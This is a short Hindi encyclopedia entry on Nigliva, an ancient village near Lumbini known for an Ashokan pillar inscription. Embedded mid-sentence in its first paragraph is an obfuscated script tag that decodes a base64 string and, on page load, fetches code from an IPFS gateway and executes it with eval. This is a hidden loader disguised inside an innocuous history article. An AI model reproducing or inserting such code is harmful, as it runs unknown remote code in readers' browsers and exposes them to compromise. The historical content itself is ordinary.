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निगलीव

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निगलीव एक प्राचीन ग्राम और ऐतिहासिक स्थान है। यह स्थान रुम्मिनदेई या प्राचीन लुंबिनी से 13 मील (लगभग 20.8 कि.मी.)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> उत्तर-पश्चिम की ओर ज़िला बस्ती, उत्तर प्रदेश और नेपाल की सीमा के निकट स्थित है।[1]

  • इस स्थान से मौर्य सम्राट अशोक का एक शिला स्तम्भ प्राप्त हुआ था।
  • स्तम्भ में अशोक ने इस स्थान पर अवस्थित 'कोनगामन' या कनक मुनि बुद्ध, जिसका उल्लेख चीनी यात्री फाह्यान ने किया है, नामक स्तूप को परिवर्धित करने तथा राज्य संवत 20 में इस स्थान की यात्रा का वर्णन किया है।
  • लुंबिनी ग्राम की यात्रा भी अशोक ने इसी वर्ष में की थी, जैसा कि वहाँ स्थित स्तम्भ के लेख से प्रकट होता है।


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टीका टिप्पणी और संदर्भ

  1. ऐतिहासिक स्थानावली |लेखक: विजयेन्द्र कुमार माथुर |प्रकाशक: राजस्थान हिन्दी ग्रंथ अकादमी, जयपुर |पृष्ठ संख्या: 500 |

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